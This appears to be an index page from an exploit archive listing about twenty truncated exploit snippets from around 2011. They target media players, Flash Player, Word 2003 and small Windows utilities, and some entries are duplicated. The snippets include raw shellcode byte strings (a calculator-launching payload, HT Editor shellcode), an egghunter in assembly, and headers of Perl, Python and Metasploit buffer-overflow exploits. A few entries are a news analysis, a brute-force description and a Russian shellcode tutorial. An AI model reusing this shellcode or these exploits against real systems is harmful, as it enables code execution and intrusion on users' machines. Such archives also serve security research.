Win64 bit/xp Calculator Shellcode

+Exploit Title: Win64 bit/xp Calculator Shellcode +Author : ^Xecuti0N3r +Tested On : WIN64-XP include include include int main char shellc = "\xeb\x16\x5b\x50\x88\x43\x09\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff" "\x63\x61\x6c\x63\x2e" "\x65\x78\x65"...

Adobe Flash Player < 10.1.53.64 - Action Script Type Confusion (ASLR + DEP Bypass)

Source: http://www.abysssec.com/blog/2011/04/exploiting-adobe-flash-player-on-windows-7/ Adobe Flash player Action script type confusion exploit DEP+ASLR bypass advisory text : Here is another reliable windows 7 exploit . the main method used for exploitation is based on Haifei-li presentation at...

Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit)

$Id: ms09-027 10477 2011-04-13 11:59:02Z mc $ This file is not part of the Metasploit Framework and may not be subject to redistribution and commercial restrictions. TODO some testing to find the real banned characters and maxlen add those parameters to the .rb file drop in appropriate directory...

Analysis of the New Adobe Flash Attacks

When Adobe warned customers earlier this week about a newly discovered vulnerability in the Flash Player software, company officials said that there were already attacks underway against the bug. Those attacks are using malicious Flash files buried in Word documents and Microsoft’s security...

Wordtrainer 3.0 Buffer Overflow

!/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A from struct impo...

Winamp 5.6.1 .m3u8 Buffer Overflow

!/usr/bin/perl Title : Winamp 5.6.1 .m3u8 Stack Buffer Overflow Author : KedAns-Dz E-mail : [email protected] || [email protected] Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : windows Impact : Stack Overflow Tested on : Windows XP sp3 FR Note...

Wordtrainer 3.0 - .ord Local Buffer Overflow

Wordtrainer 3.0 - .ord Local Buffer Overflow !/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-XP SP3...

MPlayer r33064 Lite Buffer Overflow

!/usr/bin/perl Exploit Title: Mplayer BOF + ROP Exploit Date: 04\05\2011 Author: NateM based on original WinXP non ROP exploit by C4SS!0 and h1ch4m Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download Version: Lite 33064...

MPlayer (r33064 Lite) - Local Buffer Overflow (ROP)

MPlayer r33064 Lite - Local Buffer Overflow ROP !/usr/bin/perl Exploit Title: Mplayer BOF + ROP Exploit Date: 04\05\2011 Author: NateM based on original WinXP non ROP exploit by C4SS!0 and h1ch4m Software Link:...

HT Editor 2.0.18 Stack Overflow

Exploit Title: HT Editor File openning Stack Overflow 0day Date: March 30th 2011 Author: ZadYree Software Link: http://hte.sourceforge.net/downloads.html Version: Thanks =cut use strict; use warnings; use constant SHELLCODE = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e"...

Multiple SSH Initial Connection Requests (CVE-2003-0190; CVE-2006-5229; CVE-2016-6210)

Brute Force Attacks are a significant threat on users privacy. Using Brute Force, remote attackers attempt to gain access to unauthorized areas of a target system, such as FTP accounts, e-mail accounts and databases. By trying to repeatedly log in to an SSH server using different passwords, it is...

FLVPlayer4Free v2.9 (.fp4f) Stack Overflow

Exploit for windows platform in category local exploits !/usr/bin/perl Title : FLVPlayer4Free v2.9 .fp4f Stack Overflow Author : KedAns-Dz E-mail : email protected Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : Windows Impact : Stack Overflow Test...

win32 eggsearch shellcode (33 bytes)

No description provided by source. ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; c 2009 by Georg 'oxff' Wicherski bits 32 marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; edx = 0, pointer to examined address...

Mediacoder 2011 RC3 m3u Buffer Overflow Exploit

Exploit for windows platform in category local exploits view source print? Exploit Title: Mediacoder 2011 RC3 0-days Exploit Google Dork: -- Date: 20 / 3 / 2011 Author: Oh Yaw Theng Software Link: http://www.mediacoderhq.com/getfile.htm?site=filemirror.s7icky.com&file=MediaCoder2011-RC3-5072.exe...

MPlayer Lite r33064 SEH Overflow

!/usr/bin/perl +Exploit Title: Exploit Buffer Overflow MsplayerSEH +Date: 19\03\2011 +Author: C4SS!0 and h1ch4m +Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download +Version: Lite 33064 +Tested On: WIN-XP SP3 +CVE: N/A...

Mediacoder 2011 RC3 - .m3u Local Buffer Overflow

Mediacoder 2011 RC3 - .m3u Local Buffer Overflow Exploit Title: Mediacoder 2011 RC3 0-days Exploit Google Dork: -- Date: 20 / 3 / 2011 Author: Oh Yaw Theng Software Link: http://www.mediacoderhq.com/getfile.htm?site=filemirror.s7icky.com&file=MediaCoder2011-RC3-5072.exe Version: 2011 RC3 Tested o...

Основы написания Win-шеллкода

В этой статье речь пойдет о написании простого шеллкода под Windows платформу. Статья является начальным этапом цикла статей, которые я, опираясь на материалы и труды зарубежных специалистов в данной области, планирую написать. Эта статья не насыщена всеобъемлющей информацией, однако её цель -...

ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)

Exploit for windows platform in category local exploits Exploit: ABBS Audio Media Player Buffer Overflow Exploit M3U/LST Date: 14.03.11 Author: Rh0 Rh0atz1p.biz Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip Version: 3.0 Tested on: WinXP Pro SP3 EN VirtualBox print " Stack buffer...

ABBS Electronic Flash Cards 2.1 Buffer Overflow

Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip Version: 2.1 triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up Tested on: Win XP SP3...

ABBS Audio Media Player - .m3u .LST Local Buffer Overflow

ABBS Audio Media Player - .m3u .LST Local Buffer Overflow Exploit: ABBS Audio Media Player Buffer Overflow Exploit M3U/LST Date: 14.03.11 Author: Rh0 Rh0atz1p.biz Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip Version: 3.0 Tested on: WinXP Pro SP3 EN VirtualBox print " Stack buffer...